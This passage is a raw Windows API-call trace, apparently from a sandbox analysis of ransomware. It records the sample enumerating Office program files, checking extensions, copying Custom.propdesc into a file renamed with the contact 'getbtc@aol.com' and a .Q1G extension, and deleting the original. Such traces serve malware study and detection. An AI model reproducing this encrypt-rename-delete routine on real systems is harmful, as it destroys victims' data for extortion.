lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".jpg") returned 4 [0259.684] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".doc") returned 4 [0259.684] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".docx") returned 5 [0259.685] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0259.685] lstrlenW (lpString=".pdf") returned 4 [0259.685] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.685] lstrlenW (lpString=".xls") returned 4 [0259.685] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.685] lstrlenW (lpString=".xlsx") returned 5 [0259.685] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0259.685] lstrlenW (lpString=".ppt") returned 4 [0259.685] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.685] lstrlenW (lpString=".zip") returned 4 [0259.685] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.685] lstrlenW (lpString=".rar") returned 4 [0259.685] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.685] lstrlenW (lpString=".bz2") returned 4 [0259.685] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.685] lstrlenW (lpString=".7z") returned 3 [0259.685] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.685] lstrlenW (lpString=".dbf") returned 4 [0259.685] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.685] lstrlenW (lpString=".1cd") returned 4 [0259.685] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.685] lstrlenW (lpString=".jpg") returned 4 [0259.685] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.685] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.685] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0259.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.686] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=766384) returned 1 [0259.686] CloseHandle (hObject=0x3e0) returned 1 [0259.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll")) returned 0x20 [0259.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.686] lstrlenW (lpString=".doc") returned 4 [0259.686] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.686] lstrlenW (lpString=".docx") returned 5 [0259.687] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0259.687] lstrlenW (lpString=".pdf") returned 4 [0259.687] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString=".xls") returned 4 [0259.687] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString=".xlsx") returned 5 [0259.687] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0259.687] lstrlenW (lpString=".ppt") returned 4 [0259.687] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString=".zip") returned 4 [0259.687] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString=".rar") returned 4 [0259.687] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString=".bz2") returned 4 [0259.687] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.687] lstrlenW (lpString=".7z") returned 3 [0259.687] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString=".dbf") returned 4 [0259.687] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString=".1cd") returned 4 [0259.687] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString=".jpg") returned 4 [0259.687] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.687] lstrlenW (lpString=".doc") returned 4 [0259.687] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.687] lstrlenW (lpString=".docx") returned 5 [0259.687] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0259.687] lstrlenW (lpString=".pdf") returned 4 [0259.688] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.688] lstrlenW (lpString=".xls") returned 4 [0259.688] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.688] lstrlenW (lpString=".xlsx") returned 5 [0259.688] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0259.688] lstrlenW (lpString=".ppt") returned 4 [0259.688] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.688] lstrlenW (lpString=".zip") returned 4 [0259.688] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.688] lstrlenW (lpString=".rar") returned 4 [0259.688] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.688] lstrlenW (lpString=".bz2") returned 4 [0259.688] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.688] lstrlenW (lpString=".7z") returned 3 [0259.688] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.688] lstrlenW (lpString=".dbf") returned 4 [0259.688] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.688] lstrlenW (lpString=".1cd") returned 4 [0259.688] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0259.688] lstrlenW (lpString=".jpg") returned 4 [0259.688] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.688] lstrcmpiW (lpString1=".propdesc", lpString2=".Q1G") returned -1 [0259.688] lstrlenW (lpString="Custom.propdesc") returned 15 [0259.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.689] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1343) returned 1 [0259.689] CloseHandle (hObject=0x3e0) returned 1 [0259.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0259.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.689] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.690] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0259.690] GetLastError () returned 0x0 [0259.690] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x53f, lpOverlapped=0x0) returned 1 [0260.831] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x540, lpOverlapped=0x0) returned 1 [0260.832] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.832] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0260.832] SetEndOfFile (hFile=0x1bc) returned 1 [0260.832] CloseHandle (hObject=0x1bc) returned 1 [0260.832] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.832] SetEndOfFile (hFile=0x3e0) returned 1 [0261.138] CloseHandle (hObject=0x3e0) returned 1 [0261.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".doc") returned 4 [0261.203] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".docx") returned 5 [0261.203] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0261.203] lstrlenW (lpString=".pdf") returned 4 [0261.203] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".xls") returned 4 [0261.203] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".xlsx") returned 5 [0261.203] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0261.203] lstrlenW (lpString=".ppt") returned 4 [0261.203] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".zip") returned 4 [0261.203] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".rar") returned 4 [0261.203] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".bz2") returned 4 [0261.203] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString=".7z") returned 3 [0261.203] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".dbf") returned 4 [0261.203] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".1cd") returned 4 [0261.203] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".jpg") returned 4 [0261.203] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.203] lstrlenW (lpString=".doc") returned 4 [0261.204] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".docx") returned 5 [0261.204] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0261.204] lstrlenW (lpString=".pdf") returned 4 [0261.204] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".xls") returned 4 [0261.204] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".xlsx") returned 5 [0261.204] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0261.204] lstrlenW (lpString=".ppt") returned 4 [0261.204] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.204] lstrlenW (lpString=".zip") returned 4 [0261.204] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".rar") returned 4 [0261.204] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".bz2") returned 4 [0261.204] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString=".7z") returned 3 [0261.204] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0261.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.204] lstrlenW (lpString=".dbf") returned 4 [0261.204] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.204] lstrlenW (lpString=".1cd") returned 4 [0261.204] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0261.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0261.204] lstrlenW (lpString=".jpg") returned 4 [0261.204] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0261.204] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.204] lstrlenW (lpString="DBENGR.DLL") returned 10 [0261.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.216] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1197432) returned 1 [0261.216] CloseHandle (hObject=0x1b8) returned 1 [0261.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll")) returned 0x20 [0261.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.216] lstrlenW (lpString=".doc") returned 4 [0261.217] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".docx") returned 5 [0261.217] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0261.217] lstrlenW (lpString=".pdf") returned 4 [0261.217] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".xls") returned 4 [0261.217] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".xlsx") returned 5 [0261.217] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0261.217] lstrlenW (lpString=".ppt") returned 4 [0261.217] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString=".zip") returned 4 [0261.217] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".rar") returned 4 [0261.217] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".bz2") returned 4 [0261.217] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.217] lstrlenW (lpString=".7z") returned 3 [0261.217] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString=".dbf") returned 4 [0261.217] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString=".1cd") returned 4 [0261.217] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString=".jpg") returned 4 [0261.217] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.217] lstrlenW (lpString=".doc") returned 4 [0261.217] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.217] lstrlenW (lpString=".docx") returned 5 [0261.217] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0261.217] lstrlenW (lpString=".pdf") returned 4 [0261.218] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.218] lstrlenW (lpString=".xls") returned 4 [0261.218] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.218] lstrlenW (lpString=".xlsx") returned 5 [0261.218] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0261.218] lstrlenW (lpString=".ppt") returned 4 [0261.218] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.218] lstrlenW (lpString=".zip") returned 4 [0261.218] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.218] lstrlenW (lpString=".rar") returned 4 [0261.218] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.218] lstrlenW (lpString=".bz2") returned 4 [0261.218] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.218] lstrlenW (lpString=".7z") returned 3 [0261.218] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.218] lstrlenW (lpString=".dbf") returned 4 [0261.218] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.218] lstrlenW (lpString=".1cd") returned 4 [0261.218] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0261.218] lstrlenW (lpString=".jpg") returned 4 [0261.218] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.218] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.218] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0261.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.219] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1369952) returned 1 [0261.219] CloseHandle (hObject=0x1b8) returned 1 [0261.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll")) returned 0x20 [0261.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.220] lstrlenW (lpString=".doc") returned 4 [0261.220] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString=".docx") returned 5 [0261.220] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0261.220] lstrlenW (lpString=".pdf") returned 4 [0261.220] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString=".xls") returned 4 [0261.220] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString=".xlsx") returned 5 [0261.220] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0261.220] lstrlenW (lpString=".ppt") returned 4 [0261.220] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.220] lstrlenW (lpString=".zip") returned 4 [0261.220] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString=".rar") returned 4 [0261.220] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.220] lstrlenW (lpString=".bz2") returned 4 [0261.220] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.220] lstrlenW (lpString=".7z") returned 3 [0261.221] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".dbf") returned 4 [0261.221] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".1cd") returned 4 [0261.221] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".jpg") returned 4 [0261.221] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".doc") returned 4 [0261.221] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString=".docx") returned 5 [0261.221] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0261.221] lstrlenW (lpString=".pdf") returned 4 [0261.221] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString=".xls") returned 4 [0261.221] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString=".xlsx") returned 5 [0261.221] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0261.221] lstrlenW (lpString=".ppt") returned 4 [0261.221] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".zip") returned 4 [0261.221] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString=".rar") returned 4 